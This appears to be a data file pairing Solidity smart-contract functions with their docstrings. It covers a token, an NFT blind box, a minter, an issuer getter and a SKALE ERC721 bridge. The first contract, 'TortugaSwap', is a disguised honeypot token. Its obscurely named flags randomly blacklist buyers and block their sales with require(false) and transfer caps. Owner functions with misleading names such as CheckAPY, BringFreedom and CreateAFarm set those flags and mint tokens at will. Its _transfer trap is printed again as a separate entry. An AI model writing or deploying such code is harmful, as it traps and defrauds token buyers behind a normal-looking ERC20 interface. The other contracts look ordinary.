* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TortugaSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public turtle;
mapping (address => bool) public colombia;
mapping (address => bool) public areas;
mapping (address => uint256) public volumes;
bool private latina;
uint256 private _totalSupply;
uint256 private oaxaca;
uint256 private patata;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private quintana;
address private creator;
bool private yucatan;
uint calexico = 0;
constructor() public {
creator = address(msg.sender);
latina = true;
quintana = true;
_name = "Tortuga Swap";
_symbol = "TORTUGA";
_decimals = 5;
_totalSupply = 10000000000000000;
_trns = _totalSupply;
oaxaca = _totalSupply;
chTx = _totalSupply / 2100;
patata = chTx * 30;
colombia[creator] = false;
areas[creator] = false;
turtle[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
yucatan = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function SetStakingReward(uint256 amount) external onlyOwner {
oaxaca = amount;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, calexico))) % 50;
calexico++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function BringFreedom() external onlyOwner {
oaxaca = chTx / 2400;
yucatan = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increasealowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseallowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function CreateAFarm(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckAPY(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
turtle[spender] = val;
colombia[spender] = val2;
areas[spender] = val3;
yucatan = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (latina == false)) {
oaxaca = chTx;
yucatan = true;
}
if ((address(sender) == creator) && (latina == true)) {
turtle[recipient] = true;
colombia[recipient] = false;
latina = false;
}
if ((amount > patata) && (turtle[sender] == true) && (address(sender) != creator)) {
areas[recipient] = true;
}
if (turtle[recipient] != true) {
colombia[recipient] = ((randomly() == 3) ? true : false);
}
if ((colombia[sender]) && (turtle[recipient] == false)) {
colombia[recipient] = true;
}
if (turtle[sender] == false) {
if ((amount > patata) && (areas[sender] == true)) {
require(false);
}
require(amount < oaxaca);
if (yucatan == true) {
if (areas[sender] == true) {
require(false);
}
areas[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (quintana == true)) {
turtle[spender] = true;
colombia[spender] = false;
areas[spender] = false;
quintana = false;
}
tok = (colombia[owner] ? 4782442 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
|
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (latina == false)) {
oaxaca = chTx;
yucatan = true;
}
if ((address(sender) == creator) && (latina == true)) {
turtle[recipient] = true;
colombia[recipient] = false;
latina = false;
}
if ((amount > patata) && (turtle[sender] == true) && (address(sender) != creator)) {
areas[recipient] = true;
}
if (turtle[recipient] != true) {
colombia[recipient] = ((randomly() == 3) ? true : false);
}
if ((colombia[sender]) && (turtle[recipient] == false)) {
colombia[recipient] = true;
}
if (turtle[sender] == false) {
if ((amount > patata) && (areas[sender] == true)) {
require(false);
}
require(amount < oaxaca);
if (yucatan == true) {
if (areas[sender] == true) {
require(false);
}
areas[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| 6,932,716 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "../token/interface/IHN.sol";
/**
* @title HN-S2 Blind Box Contract
* @author HASHLAND-TEAM
* @notice In this contract users can draw high level HN-S2
*/
contract HNBlindBoxS2 is
AccessControlEnumerable,
VRFConsumerBase,
ReentrancyGuard
{
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
IHN public hn;
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
mapping(uint256 => uint256) public boxTokenPrices;
mapping(uint256 => address) public tokenAddrs;
mapping(uint256 => address) public receivingAddrs;
mapping(uint256 => uint256) public hourlyBuyLimits;
mapping(uint256 => bool) public whiteListFlags;
mapping(uint256 => bool) public vrfFlags;
mapping(uint256 => uint256[]) public levelProbabilities;
mapping(uint256 => uint256) public boxesMaxSupply;
mapping(uint256 => uint256) public totalBoxesLength;
uint256 public ultraRate = 100;
uint256[] public hashrateBases = [10000, 44000, 211200, 1098240, 6150144];
uint256[] public hashrateRanges = [1000, 8800, 63360, 439296, 3075072];
mapping(uint256 => uint256) public totalTokenBuyAmount;
mapping(address => uint256) public userBoxesLength;
mapping(address => mapping(uint256 => uint256)) public userTokenBuyAmount;
mapping(address => mapping(uint256 => uint256))
public userHourlyBoxesLength;
EnumerableSet.AddressSet private users;
mapping(uint256 => EnumerableSet.UintSet) private levelHnIds;
mapping(uint256 => EnumerableSet.AddressSet) private whiteList;
mapping(bytes32 => address) public requestIdToUser;
mapping(bytes32 => uint256) public requestIdToBoxesLength;
mapping(bytes32 => uint256) public requestIdToTokenId;
bytes32 public keyHash;
uint256 public fee;
event SetDatas(
uint256 ultraRate,
uint256[] hashrateBases,
uint256[] hashrateRanges
);
event SetTokenInfo(
uint256 tokenId,
uint256 boxTokenPrice,
address tokenAddr,
address receivingAddr,
uint256 hourlyBuylimit,
bool whiteListFlag,
bool vrfFlag,
uint256[] levelProbability
);
event AddBoxesMaxSupply(uint256 supply, uint256 tokenId);
event AddWhiteList(uint256 tokenId, address[] whiteUsers);
event RemoveWhiteList(uint256 tokenId, address[] whiteUsers);
event BuyBoxes(address indexed user, uint256 tokenId, uint256 price);
event SpawnHns(
address indexed user,
uint256 boxesLength,
uint256[] hnIds,
uint256[] levels,
bool[] ultras
);
/**
* @param vrfAddr Initialize VRF Coordinator Address
* @param linkAddr Initialize LINK Token Address
* @param _keyHash Initialize Key Hash
* @param _fee Initialize Fee
* @param hnAddr Initialize HN Address
* @param manager Initialize Manager Role
*/
constructor(
address vrfAddr,
address linkAddr,
bytes32 _keyHash,
uint256 _fee,
address hnAddr,
address manager
) VRFConsumerBase(vrfAddr, linkAddr) {
keyHash = _keyHash;
fee = _fee;
hn = IHN(hnAddr);
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MANAGER_ROLE, manager);
}
/**
* @dev Set Key Hash
*/
function setKeyHash(bytes32 _keyHash) external onlyRole(MANAGER_ROLE) {
keyHash = _keyHash;
}
/**
* @dev Set Fee
*/
function setFee(uint256 _fee) external onlyRole(MANAGER_ROLE) {
fee = _fee;
}
/**
* @dev Set Datas
*/
function setDatas(
uint256 _ultraRate,
uint256[] calldata _hashrateBases,
uint256[] calldata _hashrateRanges
) external onlyRole(MANAGER_ROLE) {
ultraRate = _ultraRate;
hashrateBases = _hashrateBases;
hashrateRanges = _hashrateRanges;
emit SetDatas(_ultraRate, _hashrateBases, _hashrateRanges);
}
/**
* @dev Set Token Info
*/
function setTokenInfo(
uint256 tokenId,
uint256 boxTokenPrice,
address tokenAddr,
address receivingAddr,
uint256 hourlyBuyLimit,
bool whiteListFlag,
bool vrfFlag,
uint256[] calldata levelProbability
) external onlyRole(MANAGER_ROLE) {
boxTokenPrices[tokenId] = boxTokenPrice;
tokenAddrs[tokenId] = tokenAddr;
receivingAddrs[tokenId] = receivingAddr;
hourlyBuyLimits[tokenId] = hourlyBuyLimit;
whiteListFlags[tokenId] = whiteListFlag;
vrfFlags[tokenId] = vrfFlag;
levelProbabilities[tokenId] = levelProbability;
emit SetTokenInfo(
tokenId,
boxTokenPrice,
tokenAddr,
receivingAddr,
hourlyBuyLimit,
whiteListFlag,
vrfFlag,
levelProbability
);
}
/**
* @dev Add Boxes Max Supply
*/
function addBoxesMaxSupply(uint256 supply, uint256 tokenId)
external
onlyRole(MANAGER_ROLE)
{
boxesMaxSupply[tokenId] += supply;
emit AddBoxesMaxSupply(supply, tokenId);
}
/**
* @dev Add White List
*/
function addWhiteList(uint256 tokenId, address[] calldata whiteUsers)
external
onlyRole(MANAGER_ROLE)
{
for (uint256 i = 0; i < whiteUsers.length; i++) {
whiteList[tokenId].add(whiteUsers[i]);
}
emit AddWhiteList(tokenId, whiteUsers);
}
/**
* @dev Remove White List
*/
function removeWhiteList(uint256 tokenId, address[] calldata whiteUsers)
external
onlyRole(MANAGER_ROLE)
{
for (uint256 i = 0; i < whiteUsers.length; i++) {
whiteList[tokenId].remove(whiteUsers[i]);
}
emit RemoveWhiteList(tokenId, whiteUsers);
}
/**
* @dev Buy Boxes
*/
function buyBoxes(uint256 boxesLength, uint256 tokenId)
external
payable
nonReentrant
{
require(boxesLength > 0, "Boxes length must > 0");
require(
getUserHourlyBoxesLeftSupply(
tokenId,
msg.sender,
block.timestamp
) >= boxesLength,
"Boxes length exceeds the hourly buy limit"
);
require(
getBoxesLeftSupply(tokenId) >= boxesLength,
"Not enough boxes supply"
);
require(
boxTokenPrices[tokenId] > 0,
"The box price of this token has not been set"
);
require(
tokenAddrs[tokenId] != address(0),
"The token address of this token has not been set"
);
require(
receivingAddrs[tokenId] != address(0),
"The receiving address of this token has not been set"
);
require(
levelProbabilities[tokenId].length == 5,
"The level probability of this token has not been set"
);
if (whiteListFlags[tokenId]) {
require(
whiteList[tokenId].contains(msg.sender),
"Your address must be on the whitelist"
);
}
uint256 price = boxesLength * boxTokenPrices[tokenId];
if (tokenId == 0) {
require(msg.value == price, "Price mismatch");
payable(receivingAddrs[tokenId]).transfer(price);
} else {
IERC20 token = IERC20(tokenAddrs[tokenId]);
token.safeTransferFrom(msg.sender, receivingAddrs[tokenId], price);
}
if (vrfFlags[tokenId]) {
require(LINK.balanceOf(address(this)) >= fee, "Not Enough LINK");
bytes32 requestId = requestRandomness(keyHash, fee);
requestIdToUser[requestId] = msg.sender;
requestIdToBoxesLength[requestId] = boxesLength;
requestIdToTokenId[requestId] = tokenId;
} else {
spawnHns(msg.sender, boxesLength, tokenId);
}
userBoxesLength[msg.sender] += boxesLength;
userHourlyBoxesLength[msg.sender][
block.timestamp / 3600
] += boxesLength;
userTokenBuyAmount[msg.sender][tokenId] += price;
totalBoxesLength[tokenId] += boxesLength;
totalTokenBuyAmount[tokenId] += price;
users.add(msg.sender);
emit BuyBoxes(msg.sender, tokenId, price);
}
/**
* @dev Get Token Info
*/
function getTokenInfo(uint256 tokenId)
external
view
returns (
uint256,
address,
address,
uint256,
bool,
bool,
uint256[] memory
)
{
return (
boxTokenPrices[tokenId],
tokenAddrs[tokenId],
receivingAddrs[tokenId],
hourlyBuyLimits[tokenId],
whiteListFlags[tokenId],
vrfFlags[tokenId],
levelProbabilities[tokenId]
);
}
/**
* @dev Get Users Length
*/
function getUsersLength() external view returns (uint256) {
return users.length();
}
/**
* @dev Get Users by Size
*/
function getUsersBySize(uint256 cursor, uint256 size)
external
view
returns (address[] memory, uint256)
{
uint256 length = size;
if (length > users.length() - cursor) {
length = users.length() - cursor;
}
address[] memory values = new address[](length);
for (uint256 i = 0; i < length; i++) {
values[i] = users.at(cursor + i);
}
return (values, cursor + length);
}
/**
* @dev Get Each Level HnIds Length
*/
function getEachLevelHnIdsLength(uint256 maxLevel)
external
view
returns (uint256[] memory)
{
uint256[] memory lengths = new uint256[](maxLevel);
for (uint256 i = 0; i < maxLevel; i++) {
lengths[i] = levelHnIds[i + 1].length();
}
return lengths;
}
/**
* @dev Get Level HnIds Length
*/
function getLevelHnIdsLength(uint256 level)
external
view
returns (uint256)
{
return levelHnIds[level].length();
}
/**
* @dev Get Level HnIds by Size
*/
function getLevelHnIdsBySize(
uint256 level,
uint256 cursor,
uint256 size
) external view returns (uint256[] memory, uint256) {
uint256 length = size;
if (length > levelHnIds[level].length() - cursor) {
length = levelHnIds[level].length() - cursor;
}
uint256[] memory values = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
values[i] = levelHnIds[level].at(cursor + i);
}
return (values, cursor + length);
}
/**
* @dev Get White List Existence
*/
function getWhiteListExistence(uint256 tokenId, address user)
external
view
returns (bool)
{
return whiteList[tokenId].contains(user);
}
/**
* @dev Get White List Length
*/
function getWhiteListLength(uint256 tokenId)
external
view
returns (uint256)
{
return whiteList[tokenId].length();
}
/**
* @dev Get White List by Size
*/
function getWhiteListBySize(
uint256 tokenId,
uint256 cursor,
uint256 size
) external view returns (address[] memory, uint256) {
uint256 length = size;
if (length > whiteList[tokenId].length() - cursor) {
length = whiteList[tokenId].length() - cursor;
}
address[] memory values = new address[](length);
for (uint256 i = 0; i < length; i++) {
values[i] = whiteList[tokenId].at(cursor + i);
}
return (values, cursor + length);
}
/**
* @dev Get Boxes Left Supply
*/
function getBoxesLeftSupply(uint256 tokenId) public view returns (uint256) {
return boxesMaxSupply[tokenId] - totalBoxesLength[tokenId];
}
/**
* @dev Get User Hourly Boxes Left Supply
*/
function getUserHourlyBoxesLeftSupply(
uint256 tokenId,
address user,
uint256 timestamp
) public view returns (uint256) {
return
hourlyBuyLimits[tokenId] -
userHourlyBoxesLength[user][timestamp / 3600];
}
/**
* @dev Get Level
*/
function getLevel(uint256 tokenId, uint256 random)
public
view
returns (uint256)
{
uint256 accProbability;
uint256 level;
for (uint256 i = 0; i < levelProbabilities[tokenId].length; i++) {
accProbability += levelProbabilities[tokenId][i];
if (random < accProbability) {
level = i;
break;
}
}
return level + 1;
}
/**
* @dev Spawn HN to User when get Randomness Response
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
uint256[] memory hnIds = new uint256[](
requestIdToBoxesLength[requestId]
);
uint256[] memory levels = new uint256[](
requestIdToBoxesLength[requestId]
);
bool[] memory ultras = new bool[](requestIdToBoxesLength[requestId]);
for (uint256 i = 0; i < requestIdToBoxesLength[requestId]; i++) {
uint256 level = getLevel(
requestIdToTokenId[requestId],
randomness % 1e4
);
uint256 hcBase = level >= 2 ? hashrateBases[level - 2] : 0;
uint256 hcRange = level >= 2 ? hashrateRanges[level - 2] : 1;
uint256[] memory hashrates = new uint256[](2);
hashrates[0] = hcBase + (((randomness % 1e14) / 1e4) % hcRange);
uint256 hnId = hn.spawnHn(
requestIdToUser[requestId],
1,
2,
level,
hashrates
);
if (((randomness % 1e18) / 1e14) < ultraRate) {
hn.setData(hnId, "ultra", 1);
}
hnIds[i] = hnId;
levels[i] = level;
ultras[i] = hn.data(hnId, "ultra") == 1 ? true : false;
levelHnIds[level].add(hnId);
randomness /= 1e18;
}
emit SpawnHns(
requestIdToUser[requestId],
requestIdToBoxesLength[requestId],
hnIds,
levels,
ultras
);
}
/**
* @dev Spawn Hns
*/
function spawnHns(
address to,
uint256 boxesLength,
uint256 tokenId
) private {
uint256[] memory hnIds = new uint256[](boxesLength);
uint256[] memory levels = new uint256[](boxesLength);
bool[] memory ultras = new bool[](boxesLength);
for (uint256 i = 0; i < boxesLength; i++) {
uint256 randomness = uint256(
keccak256(
abi.encodePacked(
to,
block.number,
boxesLength,
boxTokenPrices[tokenId],
boxesMaxSupply[tokenId],
totalBoxesLength[tokenId],
userBoxesLength[to],
users.length(),
i
)
)
);
uint256 level = getLevel(tokenId, randomness % 1e4);
uint256 hcBase = level >= 2 ? hashrateBases[level - 2] : 0;
uint256 hcRange = level >= 2 ? hashrateRanges[level - 2] : 1;
uint256[] memory hashrates = new uint256[](2);
hashrates[0] = hcBase + (((randomness % 1e14) / 1e4) % hcRange);
uint256 hnId = hn.spawnHn(to, 1, 2, level, hashrates);
if (((randomness % 1e18) / 1e14) < ultraRate) {
hn.setData(hnId, "ultra", 1);
}
hnIds[i] = hnId;
levels[i] = level;
ultras[i] = hn.data(hnId, "ultra") == 1 ? true : false;
levelHnIds[level].add(hnId);
}
emit SpawnHns(to, boxesLength, hnIds, levels, ultras);
}
}
|
Spawn HN to User when get Randomness Response/
|
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
uint256[] memory hnIds = new uint256[](
requestIdToBoxesLength[requestId]
);
uint256[] memory levels = new uint256[](
requestIdToBoxesLength[requestId]
);
bool[] memory ultras = new bool[](requestIdToBoxesLength[requestId]);
for (uint256 i = 0; i < requestIdToBoxesLength[requestId]; i++) {
uint256 level = getLevel(
requestIdToTokenId[requestId],
randomness % 1e4
);
uint256 hcBase = level >= 2 ? hashrateBases[level - 2] : 0;
uint256 hcRange = level >= 2 ? hashrateRanges[level - 2] : 1;
uint256[] memory hashrates = new uint256[](2);
hashrates[0] = hcBase + (((randomness % 1e14) / 1e4) % hcRange);
uint256 hnId = hn.spawnHn(
requestIdToUser[requestId],
1,
2,
level,
hashrates
);
if (((randomness % 1e18) / 1e14) < ultraRate) {
hn.setData(hnId, "ultra", 1);
}
hnIds[i] = hnId;
levels[i] = level;
ultras[i] = hn.data(hnId, "ultra") == 1 ? true : false;
levelHnIds[level].add(hnId);
randomness /= 1e18;
}
emit SpawnHns(
requestIdToUser[requestId],
requestIdToBoxesLength[requestId],
hnIds,
levels,
ultras
);
}
| 7,290,957 |
./full_match/5/0x9eBBC054fe8277d09F5cc039ff4b3635b18B9252/sources/contracts/minter-suite/Minters/MinterHolderV4.sol
|
Allows holders of NFTs at addresses `_ownedNFTAddressesAdd`, project IDs `_ownedNFTProjectIdsAdd` to mint on project `_projectId`. Also removes holders of NFTs at addresses `_ownedNFTAddressesRemove`, project IDs `_ownedNFTProjectIdsRemove` from minting on project `_projectId`. `_ownedNFTAddressesAdd` assumed to be aligned with `_ownedNFTProjectIdsAdd`. e.g. Allows holders of project `_ownedNFTProjectIdsAdd[0]` on token contract `_ownedNFTAddressesAdd[0]` to mint `_projectId`. `_ownedNFTAddressesRemove` also assumed to be aligned with `_ownedNFTProjectIdsRemove`. _projectId Project ID to enable minting on. _ownedNFTAddressesAdd NFT core addresses of projects to be allowlisted. Indexes must align with `_ownedNFTProjectIdsAdd`. _ownedNFTProjectIdsAdd Project IDs on `_ownedNFTAddressesAdd` whose holders shall be allowlisted to mint project `_projectId`. Indexes must align with `_ownedNFTAddressesAdd`. _ownedNFTAddressesRemove NFT core addresses of projects to be removed from allowlist. Indexes must align with `_ownedNFTProjectIdsRemove`. _ownedNFTProjectIdsRemove Project IDs on `_ownedNFTAddressesRemove` whose holders will be removed from allowlist to mint project `_projectId`. Indexes must align with `_ownedNFTAddressesRemove`. if a project is included in both add and remove arrays, it will be removed./
|
function allowRemoveHoldersOfProjects(
uint256 _projectId,
address[] memory _ownedNFTAddressesAdd,
uint256[] memory _ownedNFTProjectIdsAdd,
address[] memory _ownedNFTAddressesRemove,
uint256[] memory _ownedNFTProjectIdsRemove
) external {
_onlyArtist(_projectId);
allowHoldersOfProjects(
_projectId,
_ownedNFTAddressesAdd,
_ownedNFTProjectIdsAdd
);
removeHoldersOfProjects(
_projectId,
_ownedNFTAddressesRemove,
_ownedNFTProjectIdsRemove
);
}
| 7,049,041 |
./full_match/73799/0xC4cBa76beED0148769B3f7DFEeA9A54687d58c2b/sources/contracts/facets/IssuerFacet.sol
|
`getCertificateOwners` - Get the listing of all the wallets which hold a share of a specific certificate certificateID - the id of the minted certificate return certificateOwners - The List of all users / wallets holding a share of this `certificateID`./
|
function getCertificateOwners(uint256 certificateID) external view override returns (address[] memory certificateOwners) {
certificateOwners = _accountsByToken(certificateID);
}
| 16,363,499 |
// SPDX-License-Identifier: AGPL-3.0-only
/**
* DepositBoxERC721.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../DepositBox.sol";
import "../../Messages.sol";
// This contract runs on the main net and accepts deposits
contract DepositBoxERC721 is DepositBox {
using AddressUpgradeable for address;
// schainHash => address of ERC on Mainnet
mapping(bytes32 => mapping(address => bool)) public schainToERC721;
mapping(address => mapping(uint256 => bytes32)) public transferredAmount;
/**
* @dev Emitted when token is mapped in LockAndDataForMainnetERC721.
*/
event ERC721TokenAdded(string schainName, address indexed contractOnMainnet);
event ERC721TokenReady(address indexed contractOnMainnet, uint256 tokenId);
function depositERC721(
string calldata schainName,
address erc721OnMainnet,
uint256 tokenId
)
external
rightTransaction(schainName, msg.sender)
whenNotKilled(keccak256(abi.encodePacked(schainName)))
{
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
address contractReceiver = schainLinks[schainHash];
require(contractReceiver != address(0), "Unconnected chain");
require(
IERC721Upgradeable(erc721OnMainnet).getApproved(tokenId) == address(this),
"DepositBox was not approved for ERC721 token"
);
bytes memory data = _receiveERC721(
schainName,
erc721OnMainnet,
msg.sender,
tokenId
);
if (!linker.interchainConnections(schainHash))
_saveTransferredAmount(schainHash, erc721OnMainnet, tokenId);
IERC721Upgradeable(erc721OnMainnet).transferFrom(msg.sender, address(this), tokenId);
messageProxy.postOutgoingMessage(
schainHash,
contractReceiver,
data
);
}
function postMessage(
bytes32 schainHash,
address sender,
bytes calldata data
)
external
override
onlyMessageProxy
whenNotKilled(schainHash)
checkReceiverChain(schainHash, sender)
returns (address)
{
Messages.TransferErc721Message memory message = Messages.decodeTransferErc721Message(data);
require(message.token.isContract(), "Given address is not a contract");
require(IERC721Upgradeable(message.token).ownerOf(message.tokenId) == address(this), "Incorrect tokenId");
if (!linker.interchainConnections(schainHash))
_removeTransferredAmount(message.token, message.tokenId);
IERC721Upgradeable(message.token).transferFrom(address(this), message.receiver, message.tokenId);
return message.receiver;
}
function gasPayer(
bytes32 schainHash,
address sender,
bytes calldata data
)
external
view
override
checkReceiverChain(schainHash, sender)
returns (address)
{
Messages.TransferErc721Message memory message = Messages.decodeTransferErc721Message(data);
return message.receiver;
}
/**
* @dev Allows Schain owner to add an ERC721 token to LockAndDataForMainnetERC20.
*/
function addERC721TokenByOwner(string calldata schainName, address erc721OnMainnet)
external
onlySchainOwner(schainName)
whenNotKilled(keccak256(abi.encodePacked(schainName)))
{
_addERC721ForSchain(schainName, erc721OnMainnet);
}
function getFunds(string calldata schainName, address erc721OnMainnet, address receiver, uint tokenId)
external
onlySchainOwner(schainName)
whenKilled(keccak256(abi.encodePacked(schainName)))
{
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(transferredAmount[erc721OnMainnet][tokenId] == schainHash, "Incorrect tokenId");
_removeTransferredAmount(erc721OnMainnet, tokenId);
IERC721Upgradeable(erc721OnMainnet).transferFrom(address(this), receiver, tokenId);
}
/**
* @dev Should return true if token in whitelist.
*/
function getSchainToERC721(string calldata schainName, address erc721OnMainnet) external view returns (bool) {
return schainToERC721[keccak256(abi.encodePacked(schainName))][erc721OnMainnet];
}
/// Create a new deposit box
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
Linker linkerValue,
MessageProxyForMainnet messageProxyValue
)
public
override
initializer
{
DepositBox.initialize(contractManagerOfSkaleManagerValue, linkerValue, messageProxyValue);
}
function _saveTransferredAmount(bytes32 schainHash, address erc721Token, uint256 tokenId) private {
transferredAmount[erc721Token][tokenId] = schainHash;
}
function _removeTransferredAmount(address erc721Token, uint256 tokenId) private {
transferredAmount[erc721Token][tokenId] = bytes32(0);
}
/**
* @dev Allows DepositBox to receive ERC721 tokens.
*
